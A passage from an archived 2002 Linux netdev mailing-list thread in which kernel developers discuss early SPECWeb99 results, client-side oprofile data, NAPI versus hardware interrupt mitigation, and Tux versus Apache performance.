Sep 2002 13:37:05 -0400 Received: from us.ibm.com (nighthawk [127.0.0.1]) by nighthawk.sr71.net (8.11.6/8.11.6) with ESMTP id g86Hab608607; Fri, 6 Sep 2002 10:36:37 -0700 Message-ID: <3D78E7A5.7050306@us.ibm.com> Date: Fri, 06 Sep 2002 10:36:37 -0700 From: Dave Hansen User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020822 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Martin J. Bligh" CC: "David S. Miller" , hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, Nivedita Singhvi Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 References: <3D78C9BD.5080905@us.ibm.com> <53430559.1031304588@[10.10.2.3]> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 103 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: haveblue@us.ibm.com Precedence: bulk X-list: netdev Martin J. Bligh wrote: >>Something strange happens to the clients when NAPI is enabled on >>the Specweb clients. Somehow the start using a lot more CPU. >>The increased idle time on the server is because the _clients_ are >>CPU maxed. I have some preliminary oprofile data for the clients, >>but it appears that this is another case of Specweb code just >>really sucking. > > Hmmm ... if you change something on the server, and all the clients > go wild, I'm suspicious of whatever you did to the server. Me too :) All that was changed was adding the new e1000 driver. NAPI was disabled. > You need > to have a lot more data before leaping to the conclusion that it's > because the specweb client code is crap. I'll let the profile speak for itself... oprofile summary:op_time -d 1 0.0000 0.0000 /bin/sleep 2 0.0001 0.0000 /lib/ld-2.2.5.so.dpkg-new (deleted) 2 0.0001 0.0000 /lib/libpthread-0.9.so 2 0.0001 0.0000 /usr/bin/expr 3 0.0001 0.0000 /sbin/init 4 0.0001 0.0000 /lib/libproc.so.2.0.7 12 0.0004 0.0000 /lib/libc-2.2.5.so.dpkg-new (deleted) 17 0.0005 0.0000 /usr/lib/libcrypto.so.0.9.6.dpkg-new (deleted) 20 0.0006 0.0000 /bin/bash 30 0.0010 0.0000 /usr/sbin/sshd 151 0.0048 0.0000 /usr/bin/vmstat 169 0.0054 0.0000 /lib/ld-2.2.5.so 300 0.0095 0.0000 /lib/modules/2.4.18+O1/oprofile/oprofile.o 1115 0.0354 0.0000 /usr/local/bin/oprofiled 3738 0.1186 0.0000 /lib/libnss_files-2.2.5.so 58181 1.8458 0.0000 /lib/modules/2.4.18+O1/kernel/drivers/net/acenic.o 249186 7.9056 0.0000 /home/dave/specweb99/build/client 582281 18.4733 0.0000 /lib/libc-2.2.5.so 2256792 71.5986 0.0000 /usr/src/linux/vmlinux top of oprofile from the client: 08051b3c 2260 0.948938 check_for_timeliness 08051cfc 2716 1.14041 ascii_cat 08050f24 4547 1.90921 HTTPGetReply 0804f138 4682 1.9659 workload_op 08050890 6111 2.56591 HTTPDoConnect 08049a30 7330 3.07775 SHMmalloc 08052244 7433 3.121 HTParse 08052628 8482 3.56146 HTSACopy 08051d88 10288 4.31977 get_some_line 08052150 13070 5.48788 scan 08051a10 65314 27.4243 assign_port_number 0804bd30 83789 35.1817 LOG #define LOG(x) do {} while(0) Voila! 35% more CPU! Top of Kernel profile: c022c850 33085 1.46602 number c0106e59 42693 1.89176 restore_all c01dfe68 42787 1.89592 sys_socketcall c01df39c 54185 2.40097 sys_bind c01de698 62740 2.78005 sockfd_lookup c01372c8 97886 4.3374 fput c022c110 125306 5.55239 __generic_copy_to_user c01373b0 181922 8.06109 fget c020958c 199054 8.82022 tcp_v4_get_port c0106e10 199934 8.85921 system_call c022c158 214014 9.48311 __generic_copy_from_user c0216ecc 257768 11.4219 inet_bind "oprofpp -k -dl -i /lib/libc-2.2.5.so" just gives: vma samples %-age symbol name linenr info image name 00000000 582281 100 (no symbol) (no location information) /lib/libc-2.2.5.so I've never really tried to profile anything but the kernel before. Any ideas? > Troy - I think your UP clients weren't anywhere near maxed out on > CPU power, right? Can you take a peek at the clients under NAPI load? Make sure you wait a minute or two. The client tends to ramp up. "vmstat 2" after the client has told the master that it is running: U S I ---------- 4 15 81 5 17 79 7 16 77 7 17 76 7 21 72 11 25 64 3 16 82 2 14 84 7 23 70 16 50 34 24 75 0 27 73 0 28 72 0 24 76 0 ... > Dave - did you ever try running 4 specweb clients bound to each of > the 4 CPUs in an attempt to make the clients scale better? I'm > suspicious that you're maxing out 4 4-way machines, and Troy's > 16 UPs are cruising along just fine. No, but I'm not sure it will do any good. They don't run often enough and I have the feeling that there are very few cache locality benefits to be had. -- Dave Hansen haveblue@us.ibm.com From davem@redhat.com Fri Sep 6 10:40:24 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 10:40:26 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86HeOtG003085 for ; Fri, 6 Sep 2002 10:40:24 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id KAA14378; Fri, 6 Sep 2002 10:37:17 -0700 Date: Fri, 06 Sep 2002 10:37:17 -0700 (PDT) Message-Id: <20020906.103717.82432404.davem@redhat.com> To: gh@us.ibm.com Cc: Martin.Bligh@us.ibm.com, hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, niv@us.ibm.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 From: "David S. Miller" In-Reply-To: References: <18563262.1031269721@[10.10.2.3]> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 104 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: Gerrit Huizenga Date: Fri, 06 Sep 2002 10:26:04 -0700 One of our goals is to actually take the next generation of the most common "large system" web server and get it to scale along the lines of Tux or some of the other servers which are more common on the small machines. For some reasons, big corporate customers want lots of features that are in a web server like apache and would also like the performance on their 8-CPU or 16-CPU machine to not suck at the same time. High ideals, I know, wanting all features *and* performance from the same tool... Next thing you know they'll want reliability or some such thing. Why does Tux keep you from taking advantage of all the feature of Apache? Anything Tux doesn't handle in it's fast path is simple fed up to Apache. From gerrit@us.ibm.com Fri Sep 6 11:15:49 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 11:15:51 -0700 (PDT) Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86IFmtG005877 for ; Fri, 6 Sep 2002 11:15:48 -0700 Received: from westrelay01.boulder.ibm.com (westrelay01.boulder.ibm.com [9.17.194.22]) by e21.nc.us.ibm.com (8.12.2/8.12.2) with ESMTP id g86IJxDf020252; Fri, 6 Sep 2002 14:20:00 -0400 Received: from w-gerrit2 (dyn9-47-17-91.beaverton.ibm.com [9.47.17.91]) by westrelay01.boulder.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g86IJrWq077514; Fri, 6 Sep 2002 12:19:53 -0600 Received: from w-gerrit2 ([127.0.0.1] helo=us.ibm.com ident=gerrit) by w-gerrit2 with esmtp (Exim 3.35 #1 (Debian)) id 17nNhM-0003PD-00; Fri, 06 Sep 2002 11:19:16 -0700 To: "David S. Miller" cc: Martin.Bligh@us.ibm.com, hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, niv@us.ibm.com Reply-To: Gerrit Huizenga From: Gerrit Huizenga Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 In-reply-to: Your message of Fri, 06 Sep 2002 10:37:17 PDT. <20020906.103717.82432404.davem@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <13091.1031336351.1@us.ibm.com> Date: Fri, 06 Sep 2002 11:19:11 -0700 Message-Id: X-archive-position: 105 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: gh@us.ibm.com Precedence: bulk X-list: netdev In message <20020906.103717.82432404.davem@redhat.com>, > : "David S. Miller" w rites: > From: Gerrit Huizenga > Date: Fri, 06 Sep 2002 10:26:04 -0700 > > One of our goals is to actually take the next generation of the most > common "large system" web server and get it to scale along the lines > of Tux or some of the other servers which are more common on the > small machines. For some reasons, big corporate customers want lots > of features that are in a web server like apache and would also like > the performance on their 8-CPU or 16-CPU machine to not suck at the > same time. High ideals, I know, wanting all features *and* performance > from the same tool... Next thing you know they'll want reliability > or some such thing. > > Why does Tux keep you from taking advantage of all the > feature of Apache? Anything Tux doesn't handle in it's > fast path is simple fed up to Apache. You have to ask the hard questions... Some of this is rooted in the past when Tux was emerging as a technology rather ubiquitously available. And, combined with the fact that most customers tend to lag the technology curve, Apache 1.X or, in our case, IBM HTTPD was simply a customer drop in with standard configuration support that roughly matched that on all other platforms, e.g. AIX, Solaris, HPUX, Linux, etc. So, doing a one off for Linux at a very heterogenous large customer adds pain, that pain becomes cost for the customer in terms of consulting, training, sys admin, system management, etc. We also had some bad starts with using Tux in terms of performance and scalability on 4-CPU and 8-CPU machines, especially when combining with things like squid or other cacheing products from various third parties. Then there is the problem that 90%+ of our customers seem to have dynamic-only web servers. Static content is limited to a couple of banners and images that need to be tied into some kind of cacheing content server. So, Tux's benefits for static serving turned out to be only additional overhead because there were no static pages to be served up. And, honestly, I'm a kernel guy much more than an applications guy, so I'll admit that I'm not up to speed on what Tux2 can do with dynamic content. The last I knew was that it could pass it off to another server. So we are focused on making the most common case for our customer situations scale well. As you are probably aware, there are no specweb results posted using Apache, but web crawler stats suggest that Apache is the most common server. The problem is that performance on Apache sucks but people like the features. Hence we are working to make Apache suck less, and finding that part of the problem is the way it uses the kernel. Other parts are the interface for specweb in particular which we have done a bunch of work on with Greg Ames. And we are feeding data back to the Apache 2.0 team which should help Apache in general. gerrit From Martin.Bligh@us.ibm.com Fri Sep 6 11:24:07 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 11:24:11 -0700 (PDT) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86IO6tG006290 for ; Fri, 6 Sep 2002 11:24:06 -0700 Received: from westrelay01.boulder.ibm.com (westrelay01.boulder.ibm.com [9.17.194.22]) by e35.co.us.ibm.com (8.12.2/8.12.2) with ESMTP id g86ISDf4029820; Fri, 6 Sep 2002 14:28:13 -0400 Received: from [10.10.2.3] (sig-9-65-197-17.mts.ibm.com [9.65.197.17]) by westrelay01.boulder.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g86IS7Wq041154; Fri, 6 Sep 2002 12:28:08 -0600 Date: Fri, 06 Sep 2002 11:26:49 -0700 From: "Martin J. Bligh" Reply-To: "Martin J. Bligh" To: Gerrit Huizenga , "David S. Miller" cc: hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, niv@us.ibm.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 Message-ID: <60449712.1031311608@[10.10.2.3]> In-Reply-To: References: X-Mailer: Mulberry/2.1.2 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline X-archive-position: 106 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Martin.Bligh@us.ibm.com Precedence: bulk X-list: netdev >> One of our goals is to actually take the next generation of the most >> common "large system" web server and get it to scale along the lines >> of Tux or some of the other servers which are more common on the >> small machines. For some reasons, big corporate customers want lots >> of features that are in a web server like apache and would also like >> the performance on their 8-CPU or 16-CPU machine to not suck at the >> same time. High ideals, I know, wanting all features *and* performance >> from the same tool... Next thing you know they'll want reliability >> or some such thing. >> >> Why does Tux keep you from taking advantage of all the >> feature of Apache? Anything Tux doesn't handle in it's >> fast path is simple fed up to Apache. > > You have to ask the hard questions... Ultimately, to me at least, the server doesn't really matter, and neither do the absolute benchmark numbers. Linux should scale under any reasonable workload. The point of this is to look at the Linux kernel, not the webserver, or specweb ... they're just hammers to beat on the kernel with. The fact that we're doing something different from everyone else and turning up a different set of kernel issues is a good thing, to my mind. You're right, we could use Tux if we wanted to ... but that doesn't stop Apache being interesting ;-) M. From manfred@colorfullife.com Fri Sep 6 11:30:53 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 11:30:54 -0700 (PDT) Received: from dbl.q-ag.de (IDENT:root@dbl.q-ag.de [80.146.160.66]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86IUptG007100 for ; Fri, 6 Sep 2002 11:30:52 -0700 Received: from colorfullife.com (IDENT:root@localhost.localdomain [127.0.0.1]) by dbl.q-ag.de (8.11.6/8.11.6) with ESMTP id g86IYil04483; Fri, 6 Sep 2002 20:34:49 +0200 Message-ID: <3D78F55C.4020207@colorfullife.com> Date: Fri, 06 Sep 2002 20:35:08 +0200 From: Manfred Spraul User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0) X-Accept-Language: en, de MIME-Version: 1.0 To: Dave Hansen , jamal , netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 108 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: manfred@colorfullife.com Precedence: bulk X-list: netdev > > The real question is why NAPI causes so much more work for the client. > [Just a summary from my results from last year. All testing with a simple NIC without hw interrupt mitigation, on a Cyrix P150] My assumption was that NAPI increases the cost of receiving a single packet: instead of one hw interrupt with one device access (ack interrupt) and the softirq processing, the hw interrupt must ack & disable the interrupt, then the processing occurs in softirq context, and the interrupts are reenabled at softirq context. The second point was that interrupt mitigation must remain enabled, even with NAPI: the automatic mitigation doesn't work with process space limited loads (e.g. TCP: backlog queue is drained quickly, but the system is busy processing the prequeue or receive queue) jamal, it is possible that a driver uses both napi and the normal interface, or would that break fairness? Use netif_rx, until it returns dropping. If that happens, disable the interrupt, and call netif_rx_schedule(). Is it possible to determine the average number of packets that are processed for each netif_rx_schedule()? -- Manfred From haveblue@us.ibm.com Fri Sep 6 11:29:40 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 11:29:46 -0700 (PDT) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86ITetG006868 for ; Fri, 6 Sep 2002 11:29:40 -0700 Received: from westrelay03.boulder.ibm.com (westrelay03.boulder.ibm.com [9.17.194.24]) by e35.co.us.ibm.com (8.12.2/8.12.2) with ESMTP id g86IXkf4021744; Fri, 6 Sep 2002 14:33:46 -0400 Received: from nighthawk.sr71.net (dyn9-47-17-248.beaverton.ibm.com [9.47.17.248]) by westrelay03.boulder.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g86IXi19096568; Fri, 6 Sep 2002 12:33:44 -0600 Received: from us.ibm.com (nighthawk [127.0.0.1]) by nighthawk.sr71.net (8.11.6/8.11.6) with ESMTP id g86IXA608854; Fri, 6 Sep 2002 11:33:10 -0700 Message-ID: <3D78F4E6.3020101@us.ibm.com> Date: Fri, 06 Sep 2002 11:33:10 -0700 From: Dave Hansen User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020822 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Andi Kleen CC: "Martin J. Bligh" , "David S. Miller" , hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, Nivedita Singhvi Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 References: <3D78C9BD.5080905@us.ibm.com> <53430559.1031304588@[10.10.2.3]> <3D78E7A5.7050306@us.ibm.com> <20020906202646.A2185@wotan.suse.de> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 107 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: haveblue@us.ibm.com Precedence: bulk X-list: netdev Andi Kleen wrote: >>c0106e59 42693 1.89176 restore_all >>c01dfe68 42787 1.89592 sys_socketcall >>c01df39c 54185 2.40097 sys_bind >>c01de698 62740 2.78005 sockfd_lookup >>c01372c8 97886 4.3374 fput >>c022c110 125306 5.55239 __generic_copy_to_user >>c01373b0 181922 8.06109 fget >>c020958c 199054 8.82022 tcp_v4_get_port >>c0106e10 199934 8.85921 system_call >>c022c158 214014 9.48311 __generic_copy_from_user >>c0216ecc 257768 11.4219 inet_bind > > The profile looks bogus. The NIC driver is nowhere in sight. Normally > its mmap IO for interrupts and device registers should show. I would > double check it (e.g. with normal profile) Actually, oprofile separated out the acenic module from the rest of the kernel. I should have included that breakout as well. but it was only 1.3 of CPU: 1.3801 0.0000 /lib/modules/2.4.18+O1/kernel/drivers/net/acenic.o -- Dave Hansen haveblue@us.ibm.com From davem@redhat.com Fri Sep 6 11:37:53 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 11:37:59 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86IbrtG007665 for ; Fri, 6 Sep 2002 11:37:53 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id LAA14780; Fri, 6 Sep 2002 11:34:49 -0700 Date: Fri, 06 Sep 2002 11:34:48 -0700 (PDT) Message-Id: <20020906.113448.07697441.davem@redhat.com> To: gh@us.ibm.com Cc: Martin.Bligh@us.ibm.com, hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, niv@us.ibm.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 From: "David S. Miller" In-Reply-To: References: <20020906.103717.82432404.davem@redhat.com> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 109 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: Gerrit Huizenga Date: Fri, 06 Sep 2002 11:19:11 -0700 And, honestly, I'm a kernel guy much more than an applications guy, so I'll admit that I'm not up to speed on what Tux2 can do with dynamic content. TUX can optimize dynamic content just fine. The last I knew was that it could pass it off to another server. Not true. The problem is that performance on Apache sucks but people like the features. Tux's design allows it to be a drop in acceleration method which does not require you to relinquish Apache's feature set. From davem@redhat.com Fri Sep 6 11:39:18 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 11:39:20 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86IdItG008025 for ; Fri, 6 Sep 2002 11:39:18 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id LAA14801; Fri, 6 Sep 2002 11:36:11 -0700 Date: Fri, 06 Sep 2002 11:36:11 -0700 (PDT) Message-Id: <20020906.113611.102227888.davem@redhat.com> To: Martin.Bligh@us.ibm.com Cc: gh@us.ibm.com, hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, niv@us.ibm.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 From: "David S. Miller" In-Reply-To: <60449712.1031311608@[10.10.2.3]> References: <60449712.1031311608@[10.10.2.3]> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 110 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: "Martin J. Bligh" Date: Fri, 06 Sep 2002 11:26:49 -0700 The fact that we're doing something different from everyone else and turning up a different set of kernel issues is a good thing, to my mind. You're right, we could use Tux if we wanted to ... but that doesn't stop Apache being interesting ;-) Tux does not obviate Apache from the equation. See my other emails. From davem@redhat.com Fri Sep 6 11:40:00 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 11:40:02 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86Ie0tG008381 for ; Fri, 6 Sep 2002 11:40:00 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id LAA14818; Fri, 6 Sep 2002 11:36:53 -0700 Date: Fri, 06 Sep 2002 11:36:52 -0700 (PDT) Message-Id: <20020906.113652.40767574.davem@redhat.com> To: haveblue@us.ibm.com Cc: ak@suse.de, Martin.Bligh@us.ibm.com, hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, niv@us.ibm.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 From: "David S. Miller" In-Reply-To: <3D78F4E6.3020101@us.ibm.com> References: <3D78E7A5.7050306@us.ibm.com> <20020906202646.A2185@wotan.suse.de> <3D78F4E6.3020101@us.ibm.com> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 111 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: Dave Hansen Date: Fri, 06 Sep 2002 11:33:10 -0700 Actually, oprofile separated out the acenic module from the rest of the kernel. I should have included that breakout as well. but it was only 1.3 of CPU: 1.3801 0.0000 /lib/modules/2.4.18+O1/kernel/drivers/net/acenic.o We thought you were using e1000 in these tests? From davem@redhat.com Fri Sep 6 11:41:44 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 11:41:45 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86IfhtG008745 for ; Fri, 6 Sep 2002 11:41:43 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id LAA14829; Fri, 6 Sep 2002 11:38:29 -0700 Date: Fri, 06 Sep 2002 11:38:29 -0700 (PDT) Message-Id: <20020906.113829.65591342.davem@redhat.com> To: manfred@colorfullife.com Cc: haveblue@us.ibm.com, hadi@cyberus.ca, netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 From: "David S. Miller" In-Reply-To: <3D78F55C.4020207@colorfullife.com> References: <3D78F55C.4020207@colorfullife.com> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 112 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: Manfred Spraul Date: Fri, 06 Sep 2002 20:35:08 +0200 The second point was that interrupt mitigation must remain enabled, even with NAPI: the automatic mitigation doesn't work with process space limited loads (e.g. TCP: backlog queue is drained quickly, but the system is busy processing the prequeue or receive queue) Not true. NAPI is in fact a %100 replacement for hw interrupt mitigation strategies. The cpu usage elimination afforded by hw interrupt mitigation is also afforded by NAPI and even more so by NAPI. See Jamal's paper. Franks a lot, David S. Miller davem@redhat.com From Martin.Bligh@us.ibm.com Fri Sep 6 11:42:30 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 11:42:31 -0700 (PDT) Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86IgTtG009097 for ; Fri, 6 Sep 2002 11:42:30 -0700 Received: from westrelay01.boulder.ibm.com (westrelay01.boulder.ibm.com [9.17.194.22]) by e21.nc.us.ibm.com (8.12.2/8.12.2) with ESMTP id g86IkfDf108126; Fri, 6 Sep 2002 14:46:41 -0400 Received: from [10.10.2.3] (sig-9-65-197-17.mts.ibm.com [9.65.197.17]) by westrelay01.boulder.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g86IkZWq095160; Fri, 6 Sep 2002 12:46:36 -0600 Date: Fri, 06 Sep 2002 11:45:17 -0700 From: "Martin J. Bligh" Reply-To: "Martin J. Bligh" To: "David S. Miller" , haveblue@us.ibm.com cc: ak@suse.de, hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, niv@us.ibm.com Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 Message-ID: <61557945.1031312716@[10.10.2.3]> In-Reply-To: <20020906.113652.40767574.davem@redhat.com> References: <20020906.113652.40767574.davem@redhat.com> X-Mailer: Mulberry/2.1.2 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline X-archive-position: 113 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Martin.Bligh@us.ibm.com Precedence: bulk X-list: netdev > Actually, oprofile separated out the acenic module from the rest of the > kernel. I should have included that breakout as well. but it was only 1.3 > of CPU: > 1.3801 0.0000 /lib/modules/2.4.18+O1/kernel/drivers/net/acenic.o > > We thought you were using e1000 in these tests? e1000 on the server, those profiles were client side. M. From ak@suse.de Fri Sep 6 11:43:28 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 11:43:30 -0700 (PDT) Received: from Cantor.suse.de (ns.suse.de [213.95.15.193]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86IhHtG009426 for ; Fri, 6 Sep 2002 11:43:17 -0700 Received: from Hermes.suse.de (Charybdis.suse.de [213.95.15.201]) by Cantor.suse.de (Postfix) with ESMTP id 39ACF14A07; Fri, 6 Sep 2002 20:26:49 +0200 (MEST) Date: Fri, 6 Sep 2002 20:26:46 +0200 From: Andi Kleen To: Dave Hansen Cc: "Martin J. Bligh" , "David S. Miller" , hadi@cyberus.ca, tcw@tempest.prismnet.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com, Nivedita Singhvi Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 Message-ID: <20020906202646.A2185@wotan.suse.de> References: <3D78C9BD.5080905@us.ibm.com> <53430559.1031304588@[10.10.2.3]> <3D78E7A5.7050306@us.ibm.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3D78E7A5.7050306@us.ibm.com> User-Agent: Mutt/1.3.22.1i X-archive-position: 114 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev > c0106e59 42693 1.89176 restore_all > c01dfe68 42787 1.89592 sys_socketcall > c01df39c 54185 2.40097 sys_bind > c01de698 62740 2.78005 sockfd_lookup > c01372c8 97886 4.3374 fput > c022c110 125306 5.55239 __generic_copy_to_user > c01373b0 181922 8.06109 fget > c020958c 199054 8.82022 tcp_v4_get_port > c0106e10 199934 8.85921 system_call > c022c158 214014 9.48311 __generic_copy_from_user > c0216ecc 257768 11.4219 inet_bind The profile looks bogus. The NIC driver is nowhere in sight. Normally its mmap IO for interrupts and device registers should show. I would double check it (e.g. with normal profile) In case it is no bogus: Most of these are either atomic_inc/dec of reference counters or some form of lock. The system_call could be the int 0x80 (using the SYSENTER patches would help), which also does atomic operations implicitely. restore_all is IRET, could also likely be speed up by using SYSEXIT. If NAPI hurts here then it surely not because of eating CPU time. -Andi From davem@redhat.com Fri Sep 6 11:46:48 2002 Received: with ECARTIS (v1.0.0; list netdev); Fri, 06 Sep 2002 11:46:50 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g86IkmtG009820 for ; Fri, 6 Sep 2002 11:46:48 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id LAA14873; Fri, 6 Sep 2002 11:43:36 -0700 Date: Fri, 06 Sep 2002 11:43:36 -0700 (PDT) Message-Id: 